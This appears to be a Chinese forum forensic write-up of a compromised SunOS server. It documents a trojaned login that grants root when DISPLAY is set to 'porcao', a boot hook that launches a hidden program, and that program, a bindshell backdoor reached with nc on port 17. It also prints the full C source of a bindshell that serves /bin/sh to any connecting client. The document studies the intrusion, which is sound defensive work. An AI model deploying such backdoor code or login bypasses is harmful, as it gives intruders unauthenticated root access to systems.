获得系统版本信息
SunOS 5.6 sun4u sparc
输出login文件中的所有可打印字符
# strings -a `which login`
……
DISPLAY
/bin/xstat → 异常文件
porcao
/bin/sh
……
可以看出,login文件被替换。按照我们的经验推断,正常的login文件应当为/bin/xstat,当攻击者指定DISPLAY为porcao后,可以不用输入口令即可进入系统。
下面是模拟攻击过程
[root@test test]# export DISPLAY=porcao
[root@test test]# telnet x.x.x.x
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
SunOS 5.6
# id
uid=0(root) gid=0(root)
#
从上面的模拟攻击过程可以看出,入侵者替换了login文件,通过指定的DISPLAY可以直接进入系统,证实了我们的推断。
对/bin/xstat文件进行检查
# ls -alc /bin/xstat
-r-xr-xr-x 1 root bin 29352 Nov 12 2002 /bin/xstat
注意到此文件的修改时间为2002年11月12日。此文件是真正的login文件。
查找系统中修改时间为2002年11月12日的文件
# ls -al /dev
-rw-r--r-- 1 root root 26 Nov 12 2002 ttyp
# file ttyp
ttyp: ascii text
# cat ttyp
fsd
dos
sysd
snif
sh
perl
/dev目录下存在异常的非设备文件,入侵者可能在系统中安装了fsd、dos、sysd、snif等恶意程序。
# ls -al | grep "2002"
?rw-r--r-- 1 root root 0 Feb 26 2002 .syslog_door
-rw-rw-rw- 1 root root 16 Nov 12 2002 cachefstab
drwxr-xr-x 2 root sys 512 Feb 26 2002 cron.d
drwxrwxr-x 2 root sys 512 Nov 10 2002 default
drwxrwxr-x 2 root sys 1536 Nov 12 2002 init.d
-rw-r--r-- 1 root root 686 Feb 26 2002 nsswitch.conf
-r--r--r-- 1 root sys 537 Nov 12 2002 opasswd
-r--r--r-- 1 root sys 496 Nov 12 2002 passwd
drwxrwxr-x 2 root sys 512 Nov 12 2002 rc3.d
drwxr-xr-x 3 bin bin 512 Feb 26 2002 saf
-rw-r--r-- 1 root root 4 Nov 10 2002 syslog.pid
# file .syslog_door
.syslog_door: door
# cat .syslog_door
cat: input error on .syslog_door: Operation not applicable
# cd rc3.d
# ls -al
total 11
drwxrwxr-x 2 root sys 512 Nov 12 2002 .
drwxr-xr-x 30 root sys 3072 Jul 7 16:00 ..
-rw-r--r-- 1 root sys 1708 Jul 16 1997 README
-rwxr--r-- 5 root sys 1738 Jul 16 1997 S15nfs.server
-rwxr--r-- 1 root other 69 Apr 29 1999 S45TCPwait
lrwxrwxrwx 1 root other 19 Oct 22 2001 S90InitMGC ->; /etc/init.d/InitMGC
-rw-r--r-- 2 root root 14 Nov 12 2002 S99rc.local
# tail S99rc.local
/usr/sbin/fsd
# ls -alc /usr/sbin/fsd
-rwxr-xr-x 1 1001 9999 8544 Nov 12 2002 /usr/sbin/fsd
# file /usr/sbin/fsd
/usr/sbin/fsd: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, not stripped
# strings -a /usr/sbin/fsd
……
th1s iz mY 3l1t3 baCkd00r
/bin/sh
……
通过对特征字符串“th1s iz mY 3l1t3 baCkd00r”的匹配,我们推断入侵者使用bindshell程序开放某一特定端口,当入侵者连接此特定端口即可返回shell。程序源代码参考连接为:
http://packetstormsecurity.nl/advisories/suid/bindshell.c
将fsd文件下载,使用gdb进行调试,发现fsd侦听17端口。当我们连接17端口时,会返回shell。
E:\>;nc -n -vv x.x.x.x 17
(UNKNOWN) [x.x.x.x] 17 (?) open
id → 输入id命令
uid=0(root) gid=1(other)
uname -a → 输入uname -a命令
SunOS test8 5.8 Generic sun4u sparc SUNW,Ultra-5_10
exit → 输入exit命令
sent 19, rcvd 77: NOTSOCK
/*
* Unknown author.
*/
#define PORT 1234
#include <stdio.h>;
#include <signal.h>;
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv,'\x0',strlen(argv));
};
strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r"
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
0x80487db <main+207>;: push $0x4d2
0x80487e0 <main+212>;: call 0x8048608 <htons>;
欢迎光临 Chinaunix (http://bbs.chinaunix.net/) | Powered by Discuz! X3.2 |